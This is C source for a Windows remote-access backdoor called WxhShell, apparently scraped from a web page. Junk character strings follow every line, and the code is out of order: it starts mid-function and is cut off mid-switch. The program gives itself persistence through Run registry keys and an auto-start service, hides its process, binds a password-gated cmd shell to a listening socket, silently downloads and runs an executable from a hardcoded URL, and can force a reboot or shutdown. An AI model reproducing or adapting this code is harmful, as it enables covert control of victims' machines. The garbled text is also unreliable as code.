    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LtKiJ.j?A  
    else { t3K7W2bz  
    closesocket(wsh); D.o|pTZ  
    ExitThread(0); }fnp}L  
    } kf+]bV  
    break;  lk{  
    } XnrOC|P$  
  // 获取shell D/jB .  
  case 's': { G?!b00H  
    CmdShell(wsh); `HvU_ja;  
    closesocket(wsh); c%v[p8 %  
    ExitThread(0); fk4s19;?  
    break; IbC(/i#%`  
  } egboLqn  
  // 退出 @\v,   
  case 'x': { O{a<f7 W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pfgFHNH:  
    CloseIt(wsh); n'=-bj`  
    break; (&0%![j&  
    } A_1cM#4  
  // 离开 mh]'/C_*<w  
  case 'q': { ?-0k3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %)T>Wn%b]v  
    closesocket(wsh); ')t :!#  
    WSACleanup(); +[*VU2f t  
    exit(1); }\}pSqW  
    break; |n=m{JX\m  
        } L<!}!v5ja  
  } :#58m0YLA:  
  } V{;!vt~  
Xu`c_  
  // 提示信息 Mit,X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V %'`nJ!  
} pDb5t>  
  } 'gk.J  
B PTQm4TN  
  return; W-q2|NK  
} &=H{ 36i@  
w*<XPBi  
// shell模块句柄 NR-d|`P;  
int CmdShell(SOCKET sock) ?>5[~rMn  
{ jW*|Mu>2  
STARTUPINFO si; TjxZ-qw<  
ZeroMemory(&si,sizeof(si)); <uUQ-]QOIh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yjUZ 40Dq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 90> (`pI=  
PROCESS_INFORMATION ProcessInfo; `rsPIOu  
char cmdline[]="cmd"; Mg;%];2Nt  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $Z6g/bD`E  
  return 0; 8A}w}h  
} %eWzr  
ia 1Sf3  
// 自身启动模式 !!Z#'Wq  
int StartFromService(void) zb.^ _A  
{ !s pp*Q)#\  
typedef struct $&/JY  
{ P:h;"  
  DWORD ExitStatus; }S51yDVG_  
  DWORD PebBaseAddress; j_*$ Avy  
  DWORD AffinityMask; 5vs~8|aRo  
  DWORD BasePriority; cHOtMPyQ  
  ULONG UniqueProcessId; C,7d  
  ULONG InheritedFromUniqueProcessId; 73B,I 0U  
}   PROCESS_BASIC_INFORMATION; b/'{6zn  
A^:[+PJHN  
PROCNTQSIP NtQueryInformationProcess; V(_OyxeC{2  
vdw5T&Q{{C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iSu7K&X9q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l+!!S"=8)~  
,?k[<C  
  HANDLE             hProcess; DhZuQpH  
  PROCESS_BASIC_INFORMATION pbi; 52?zBl`|  
1BT]_ cP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *I6z;.#  
  if(NULL == hInst ) return 0; |57u;  
1Q\P] -  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :8b{|}aYV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {T4F0fu[eR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O 4zD >O  
zaWy7@?  
  if (!NtQueryInformationProcess) return 0; BrF/-F  
nMXk1`|/)x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A>WMPe:sSS  
  if(!hProcess) return 0; it]im  
}5c%v1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m;-FP 2~  
h}-}!v  
  CloseHandle(hProcess); `G*7y7  
zQ3m@x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P^V,"B8t  
if(hProcess==NULL) return 0; ;6S,|rC ]  
XN9s!5A<L)  
HMODULE hMod; V/|).YG2  
char procName[255]; :T^!<W4  
unsigned long cbNeeded; wKOljE6d  
_: @~ bHd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yUV0{A-q{0  
X[/>{rK  
  CloseHandle(hProcess); 0VsQ$4'V^  
4x7(50hp#  
if(strstr(procName,"services")) return 1; // 以服务启动 6. N?=R  
"fK`F/  
  return 0; // 注册表启动 YXCltM E  
} -e< d//>  
e R Y2.!  
// 主模块 aT}Mn(F*?  
int StartWxhshell(LPSTR lpCmdLine) ^X-3YhJ4U  
{ <xpOi&l  
  SOCKET wsl; R_9&V!fl  
BOOL val=TRUE; \kSoDY`l&  
  int port=0; Zoe>Ow8mE`  
  struct sockaddr_in door; LXYpP- E  
:})(@.H  
  if(wscfg.ws_autoins) Install(); yg({g "  
m$<LO%<~p  
port=atoi(lpCmdLine); HYVSi3[  
\:]  
if(port<=0) port=wscfg.ws_port;  x{K^u"  
hojP3 [  
  WSADATA data; ,b[}22  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $!Z><&^/  
l{b<rUh5W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PPoQNW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k=;>*:D%  
  door.sin_family = AF_INET; ;:<z hO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |;xm-AM4r  
  door.sin_port = htons(port); )Z6bMAb0'N  
ZEY="pf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TljN!nv]  
closesocket(wsl); q5 eyle6  
return 1; n>Cl;cN=  
} +c)"p4m  
`=m[(CLb  
  if(listen(wsl,2) == INVALID_SOCKET) { rJLn=|uR  
closesocket(wsl); be&5vl  
return 1; PJd7t% m;  
} 9%fd\o@X  
  Wxhshell(wsl); oCtg{*vp  
  WSACleanup(); $cl[Qcw  
;]*V6!6RR  
return 0; /V'^$enK!}  
U@t" o3E  
} $DPMi9,7^  
8yW8F26  
// 以NT服务方式启动 wyzx9`5~d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2n]UNC  
{ &6]+a4  
DWORD   status = 0; '?| (QU:)F  
  DWORD   specificError = 0xfffffff; ?:StFlie  
)m8ve)l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [3$L}m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HCBZ*Z-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FHztF$Z  
  serviceStatus.dwWin32ExitCode     = 0; "i jpqI  
  serviceStatus.dwServiceSpecificExitCode = 0; EY~b,MIL4  
  serviceStatus.dwCheckPoint       = 0; 4%!#=JCl  
  serviceStatus.dwWaitHint       = 0; (<M^C>pldf  
j^4KczJl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #Z;6f{yWf  
  if (hServiceStatusHandle==0) return; nsT]Yxo%M  
@8keLrp  
status = GetLastError(); g%C!)UbT  
  if (status!=NO_ERROR) K4T#8K]aZF  
{ s |40v@ M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |W't-}yf  
    serviceStatus.dwCheckPoint       = 0; }iGpuoXT`  
    serviceStatus.dwWaitHint       = 0; @|I:A  
    serviceStatus.dwWin32ExitCode     = status; R$>]7-N}  
    serviceStatus.dwServiceSpecificExitCode = specificError; @ P:b\WCI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IE;Fu67wi  
    return; l>(w]  
  } 48}L!m @  
cb36~{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZD$W>'m{F  
  serviceStatus.dwCheckPoint       = 0; XOOWrK7O  
  serviceStatus.dwWaitHint       = 0; NxOiT#YH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); euxkw]`h6  
} hbZ]DRg  
Qu 7#^%=  
// 处理NT服务事件,比如:启动、停止 ]V*ku%L0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6snDv4  
{ 0^%\! Xxq  
switch(fdwControl) bxxazsj^  
{ ';H"Ye:D=7  
case SERVICE_CONTROL_STOP: "zN2+X"&  
  serviceStatus.dwWin32ExitCode = 0; :ik$@5wp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z)V m,ng  
  serviceStatus.dwCheckPoint   = 0; yQP!Vt^  
  serviceStatus.dwWaitHint     = 0; aJ!(c}N~97  
  { +jpaBr-O#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S7|6dwQ&  
  } xg:r5Z/|)  
  return; 25bbuhss  
case SERVICE_CONTROL_PAUSE: l7{]jKJue  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f82$_1s^  
  break; Sn o7Ru2  
case SERVICE_CONTROL_CONTINUE: @k< e]@r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BIu%A]e"  
  break; @ve4rc/LI  
case SERVICE_CONTROL_INTERROGATE: @M]uUL-ze  
  break; $q"/q*ys  
}; B #[UR Z9S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~RdD6V  
} '7'*+sgi$  
Mx-? &  
// 标准应用程序主函数 fG *1A\t]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P4\{be>e  
{ "PFczoRZ  
E?VPCx  
// 获取操作系统版本 | c:E)S\  
OsIsNt=GetOsVer();  9S<87sO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FJ/>=2^B  
Z$UPLg3=;_  
  // 从命令行安装 bCV3h3<  
  if(strpbrk(lpCmdLine,"iI")) Install(); [RAzKzC\M  
5} v(Ks>  
  // 下载执行文件 %i!=.7o.  
if(wscfg.ws_downexe) { .Lwp`{F/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .J/x@  
  WinExec(wscfg.ws_filenam,SW_HIDE); kiah,7V/  
} :Dh\  
j{U#g8  
if(!OsIsNt) { LnwI 7uvq  
// 如果时win9x,隐藏进程并且设置为注册表启动 2H,^i,  
HideProc(); S!LLC{  
StartWxhshell(lpCmdLine); ]JQ+*ZYUE  
} # NoY}*  
else .=~-sj@k  
  if(StartFromService()) A#b`{C~l  
  // 以服务方式启动 T<jo@z1UL  
  StartServiceCtrlDispatcher(DispatchTable); 8!R +wy  
else g':/hlQ  
  // 普通方式启动 4R c_C0O  
  StartWxhshell(lpCmdLine); S= NGJ 0  
v$WH#;(\  
return 0; 6w?l I  
} yLC5S3^1\"  
gv6}GE  
)}Vb+  
xr;:gz!h  
===========================================  L+=pEk_  
$!'S7;*uW  
y ~PW_,  
=&!L&M<<  
_,"?R]MO  
3 L:s5  
" \*wQ%_N5  
A"Prgf eT  
#include <stdio.h> 6'F4p1VG*I  
#include <string.h> '\,|B x8Q  
#include <windows.h> <FkoWN  
#include <winsock2.h> ?Z1&ju,Hd-  
#include <winsvc.h> 7_=7 ;PQ<  
#include <urlmon.h> ?Nbc#0pb7  
:rdw0EROy  
#pragma comment (lib, "Ws2_32.lib") 9s.x%m,  
#pragma comment (lib, "urlmon.lib") Pse1NMK9 [  
?<*mIf:?  
#define MAX_USER   100 // 最大客户端连接数 L[j73z'  
#define BUF_SOCK   200 // sock buffer Q#h*C ZT  
#define KEY_BUFF   255 // 输入 buffer ~Z{IdE  
]Qu.-F#g  
#define REBOOT     0   // 重启 K3;lst>4  
#define SHUTDOWN   1   // 关机 K> rZJ[a  
K1_]ne)  
#define DEF_PORT   5000 // 监听端口 San=E@3}v!  
G\;a_]Q  
#define REG_LEN     16   // 注册表键长度 z{>p<)h  
#define SVC_LEN     80   // NT服务名长度 m|CB')  
z5> {(iY;,  
// 从dll定义API &|'t>-de,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ='\Di '*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZaZm$.s n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i3SrsVSG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2_i9 q>I  
R.Uwf  
// wxhshell配置信息 O'WB O"  
struct WSCFG { T, z80m}  
  int ws_port;         // 监听端口 S>6f0\F/Y%  
  char ws_passstr[REG_LEN]; // 口令 y-1!@|l0:6  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^p}S5,  
  char ws_regname[REG_LEN]; // 注册表键名 jG E=7  
  char ws_svcname[REG_LEN]; // 服务名 Ch;wvoy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \-h%z%{R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Uc[ @]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \\D(St  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $*k9e^{S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p-S&Wq  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ed>Dhy6\r  
nG~#o  
}; eF06B'uL  
J?1U'/Wx2  
// default Wxhshell configuration )*CDufRFz  
struct WSCFG wscfg={DEF_PORT, j} .,|7X  
    "xuhuanlingzhe", nRSiW*;R  
    1, V9 J`LQ\0  
    "Wxhshell", ) u(Gf*t  
    "Wxhshell", A#@9|3  
            "WxhShell Service", Pc:5*H  
    "Wrsky Windows CmdShell Service", ,SQ`, C _5  
    "Please Input Your Password: ",  A|90Ps  
  1, :MFF*1  
  "http://www.wrsky.com/wxhshell.exe", fp)%Cr  
  "Wxhshell.exe" ?r}'0dW  
    }; >Hd0l L  
~rl,Hr3Z o  
// 消息定义模块 IHs^t/;Iv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <=g{E-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ig{ 3>vB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {pR4+g  
char *msg_ws_ext="\n\rExit."; 1v M'yr$  
char *msg_ws_end="\n\rQuit."; (]}52%~  
char *msg_ws_boot="\n\rReboot...";  ~0T;T  
char *msg_ws_poff="\n\rShutdown..."; NE1n9  
char *msg_ws_down="\n\rSave to "; #JD:i%  
,'%wadOo  
char *msg_ws_err="\n\rErr!"; k7cM.<s!  
char *msg_ws_ok="\n\rOK!"; 7/>#yR  
AW')*{/(Ii  
char ExeFile[MAX_PATH]; Gkr?M^@K  
int nUser = 0; m(0c|-  
HANDLE handles[MAX_USER]; m.g2>r`NU  
int OsIsNt; ^OZ*Le  
=K:)%Qh  
SERVICE_STATUS       serviceStatus; S!@h\3d8{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F39H@%R  
rQLl[a  
// 函数声明 E/:mO~1< c  
int Install(void); 9V0@!M8S  
int Uninstall(void); X?gH(mn  
int DownloadFile(char *sURL, SOCKET wsh); g-8D1.U  
int Boot(int flag); !$Whftg  
void HideProc(void); nb|KIW  
int GetOsVer(void); TYH4r q &  
int Wxhshell(SOCKET wsl); (aUdPo8H^  
void TalkWithClient(void *cs); TR J5m?x  
int CmdShell(SOCKET sock); }c?W|#y`.o  
int StartFromService(void); 0 YA  
int StartWxhshell(LPSTR lpCmdLine); ?"Ec#,~  
$9@jV<Q1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N/V~>UJ0{*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !V~,aoKTj  
s.IYPH|pn  
// 数据结构和表定义 l+XTn;cS  
SERVICE_TABLE_ENTRY DispatchTable[] = u_*DS-  
{ hYSzr-)  
{wscfg.ws_svcname, NTServiceMain}, dc=}c/6x  
{NULL, NULL} b sM ]5^  
}; {W11+L{8  
ggL^*MV  
// 自我安装 2AdO   
int Install(void) DOB#PI [/  
{ (`)ZR %i  
  char svExeFile[MAX_PATH]; {Lg]chJq?  
  HKEY key; u5O`|I@R  
  strcpy(svExeFile,ExeFile); {7Qj+e^  
B }t529Z  
// 如果是win9x系统,修改注册表设为自启动 h6;vOd~%  
if(!OsIsNt) { N/x]-$fl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ={G0p=~+,p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #gcv])to  
  RegCloseKey(key); !lxq,Whr{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DcRvZH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uFYcVvbT@  
  RegCloseKey(key); _L% =Q ulu  
  return 0; i38`2  
    } S>;+zVF]  
  } K:L_y 1!T  
} &[W53Lqa  
else { PR3&LI;B*  
#t<  
// 如果是NT以上系统,安装为系统服务 *b,4qMr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mkuK$Mj  
if (schSCManager!=0) sIzy/W0iV  
{ M97MIku~9  
  SC_HANDLE schService = CreateService a&!K5(  
  ( *nx$r[Mqj  
  schSCManager, tRVz4fk[G  
  wscfg.ws_svcname, 3,^.  
  wscfg.ws_svcdisp, r) g:-[Ox9  
  SERVICE_ALL_ACCESS, {wh, "Ok_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &2sfu0K  
  SERVICE_AUTO_START, PrhGp _5  
  SERVICE_ERROR_NORMAL, cq"#[y$r  
  svExeFile, ] XjL""EbC  
  NULL, cnz+%Y N  
  NULL, p8(Z{TSv  
  NULL, V.}3d,Em%]  
  NULL, ows 3%  
  NULL 8}K4M(  
  ); "0aJE1) p:  
  if (schService!=0) UIC~%?oIA  
  { V*gh"gZ<  
  CloseServiceHandle(schService); _6.Y3+7I  
  CloseServiceHandle(schSCManager); yY_#fJj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,t +sw4  
  strcat(svExeFile,wscfg.ws_svcname); ~oz??SX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?$.JgG%Z+g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s"~3.J  
  RegCloseKey(key); u;9a/RI  
  return 0; rUg|5EN^)d  
    } X16vvsjw5  
  } 1#KBf[0  
  CloseServiceHandle(schSCManager); @_0tq{  
} wwE3N[  
} k [iT']  
8'M:uI  
return 1; RMHJI6?LB  
} 20/P:;  
l4ru0V8s7  
// 自我卸载 hA1p#  
int Uninstall(void) 2  ZyO  
{ "V`5 $ur  
  HKEY key; ;KgDVq5  
D2I|Z  
if(!OsIsNt) { Y|S>{$W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JnLF61   
  RegDeleteValue(key,wscfg.ws_regname); 7Q9| P?&:z  
  RegCloseKey(key); zEt!Pug  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [lGxys)J  
  RegDeleteValue(key,wscfg.ws_regname); o,RiAtdk  
  RegCloseKey(key); WAf"|  
  return 0; xdh%mG:?  
  } u.Tknw-X  
} }#S1!TU  
} W;?e@}  
else { _& r19pY  
Y h53Z"a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ygc|9}  
if (schSCManager!=0) 5+UNLvsZ  
{ 0Oa&vx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n=?wX#rEC#  
  if (schService!=0) x[xRqC vL  
  { >[;L.  
  if(DeleteService(schService)!=0) { M 5$JBnN  
  CloseServiceHandle(schService); ^SK!? M  
  CloseServiceHandle(schSCManager); fL*+[v4  
  return 0; 7A h   
  } !E|m'_x*  
  CloseServiceHandle(schService); 33&l.[A"!}  
  } 2.vmZaKP  
  CloseServiceHandle(schSCManager); 7$x%A&]  
} (\o4 c0UzK  
} 7!wc'~;  
R x(yn  
return 1; PpH ;p.-!d  
} !2>@:CKX  
QN|=/c<U  
// 从指定url下载文件 /nv+*+Q?d  
int DownloadFile(char *sURL, SOCKET wsh) d]:G#<.  
{  v7Ps-a)  
  HRESULT hr; H23 O]r  
char seps[]= "/"; sPVE_n  
char *token; ,SNt*t1"  
char *file; 3hxV`rb  
char myURL[MAX_PATH]; }h1eB~6M  
char myFILE[MAX_PATH]; V.6pfL  
yPY{ZADkQ  
strcpy(myURL,sURL); f( Dtv  
  token=strtok(myURL,seps); i+pQ 7wx  
  while(token!=NULL) &=kb>*  
  { xR8.1T?8  
    file=token; ,p /{!BX  
  token=strtok(NULL,seps); ,7k-LAA  
  } &,=FPlTC=  
k2tSgJW  
GetCurrentDirectory(MAX_PATH,myFILE); 3o0ZS^#eB  
strcat(myFILE, "\\"); [S8*b^t4  
strcat(myFILE, file); /h{Rf,H  
  send(wsh,myFILE,strlen(myFILE),0); J#ClQ%  
send(wsh,"...",3,0); aC%Q.+-t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :Ocw+X3  
  if(hr==S_OK) 4=EA3`l  
return 0; IF-y/]  
else 9_,f)2)~W  
return 1; vU5}E\Ny  
tbiM>qxB  
} X/90S2=P  
8UXRM :Z"  
// 系统电源模块 /nuz_y\J  
int Boot(int flag) $45.*>,  
{ &xhwOgI#,  
  HANDLE hToken; z6rT<~xZtu  
  TOKEN_PRIVILEGES tkp; ^6R(K'E}  
)J0h\ky  
  if(OsIsNt) { $evuL3GY#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QxGcRlpLK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); esQ$.L  
    tkp.PrivilegeCount = 1; ^Y+Lf]zz*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x#N_h0[i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mo] l_'  
if(flag==REBOOT) { Z<^!N)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZTz07Jt  
  return 0; QIlZZ  
} 5E"^>z  
else { CfSP*g0rW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A_9J ~3  
  return 0; S*|/txE'~Y  
} c.b| RM0;  
  } f,Dic%$q  
  else { 2 \}J*0  
if(flag==REBOOT) { `]XI Q\ *  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Rz|@BxB>n  
  return 0; V+y"L>K  
} l v hJ  
else { y%; o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  Owi/e  
  return 0; `&7tADFB  
} $--+M D29Q  
} |rwY   
^bfZd  
return 1; :S_]!'H  
} 'ScvteQ  
L 1!V'Hm{  
// win9x进程隐藏模块 e@anX^M;  
void HideProc(void)  w:QO@  
{ i2  c|_B  
/\h*v!:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z]+L=+,,  
  if ( hKernel != NULL ) Q=xXj'W-  
  { ,>S7c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U4 \v~n\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y.]$T8  
    FreeLibrary(hKernel); C` ky=  
  } qx[c0X!  
Pap6JR{7  
return; oq+w2yR  
} bNVeL$'  
CCe>*tdf  
// 获取操作系统版本 ][v]Nk  
int GetOsVer(void) % J^x `P  
{ pF8 #H~  
  OSVERSIONINFO winfo; %}VH5s9\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iI";m0Ny  
  GetVersionEx(&winfo); @:9Gs!!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -"dt3$ju  
  return 1; .Lna\Bv  
  else (jDz[b#OPz  
  return 0; " L`)^  
} 6D`n^uoP  
C'#)mo_@t  
// 客户端句柄模块 ?zf3Fn2y  
int Wxhshell(SOCKET wsl) i#`q<+/q  
{ QH9t |l  
  SOCKET wsh; :]@c%~~!&  
  struct sockaddr_in client; ujX; wGje  
  DWORD myID; K%? g6j  
rQVX^  
  while(nUser<MAX_USER) F#sm^%_2  
{ Z)#UCoK!c  
  int nSize=sizeof(client); (O5Yd 6u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "+ou!YK+  
  if(wsh==INVALID_SOCKET) return 1; .+/d08]  
E=p+z"Ui  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n|~y >w4  
if(handles[nUser]==0) &xQM!f  
  closesocket(wsh); o[Jzx2A<  
else P9 <U+\z  
  nUser++; xV)[C )6  
  } 4VwF \  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >CqzC8JF  
"tzu.V-  
  return 0; _{Kmj,q  
} `OBzOM  
Q!e560@  
// 关闭 socket !mmMAsd,  
void CloseIt(SOCKET wsh) _fHml   
{ uw}Rr7q  
closesocket(wsh); *9aJZWf>V  
nUser--; ::|~tLFu  
ExitThread(0); "?I#!t%'  
} 6Yj{% G  
`t~jHe4!Y  
// 客户端请求句柄 -b(DPte  
void TalkWithClient(void *cs) t~) P1Lof\  
{ <xOX+D  
Y^eN}@]?&  
  SOCKET wsh=(SOCKET)cs; =:- fK-d  
  char pwd[SVC_LEN]; +xFn~b/  
  char cmd[KEY_BUFF]; b dgkA  
char chr[1]; /<J(\;Jr6  
int i,j; {>f"&I<xw  
: uncOd.  
  while (nUser < MAX_USER) { BzzC|  
35<A :jKS  
if(wscfg.ws_passstr) { jx: IK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y2u\~.;oq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G,u=ngZ]  
  //ZeroMemory(pwd,KEY_BUFF); Yj/afn(Jt  
      i=0; u\]EG{w(  
  while(i<SVC_LEN) { <RGH+4LF  
YV O$`W^N  
  // 设置超时 i9;  
  fd_set FdRead; sdFHr4  
  struct timeval TimeOut; s2; ~FK#/  
  FD_ZERO(&FdRead); Bm$|XS3cD  
  FD_SET(wsh,&FdRead); v"USD<   
  TimeOut.tv_sec=8; ar 3L|MN  
  TimeOut.tv_usec=0; T ozx0??)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p5G'})x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Hn|W3U  
)4yP(6|lx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X0/slOT  
  pwd=chr[0]; k^J8 p#`6  
  if(chr[0]==0xd || chr[0]==0xa) { @!sK@&ow@%  
  pwd=0; (jT)o,IW&  
  break; Npp YUY  
  } *_(X$qfoW  
  i++; x/*lNG/  
    } E9:@H;Gc  
I652Fcj  
  // 如果是非法用户,关闭 socket uO%0rKW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '!HTE` Aj  
} hFrMOc&  
d)o5JD/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n(: <pz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3SVGx< ,2  
F-&tSU,  
while(1) { EL 5+pt  
J<$@X JLS  
  ZeroMemory(cmd,KEY_BUFF); ARH~dN*C  
akj<*,  
      // 自动支持客户端 telnet标准   a=z] tTs4  
  j=0; M(%H  
  while(j<KEY_BUFF) { e &6%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TZn 15-O  
  cmd[j]=chr[0]; %w`d  
  if(chr[0]==0xa || chr[0]==0xd) { m'o dVZ7  
  cmd[j]=0; .wfydu)3  
  break; SE'Im  
  } d:=' Xs  
  j++; t R^f]+Up  
    } LrB 0x>  
x~5uc$  
  // 下载文件 R~vGaxZ$  
  if(strstr(cmd,"http://")) { d$t"Vp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BoD{fg  
  if(DownloadFile(cmd,wsh)) 2HX/@ERhmu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0SQ!lr  
  else Z)?$ZI@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <kh.fu@.Q  
  } ?CpVA  
  else { Aoe\\'O|V  
8Fn\ycX#"l  
    switch(cmd[0]) { M0V<Ay\%O  
  Y|Iq~Qy~  
  // 帮助 ]aX@(3G1s  
  case '?': { $:9t(X)H  
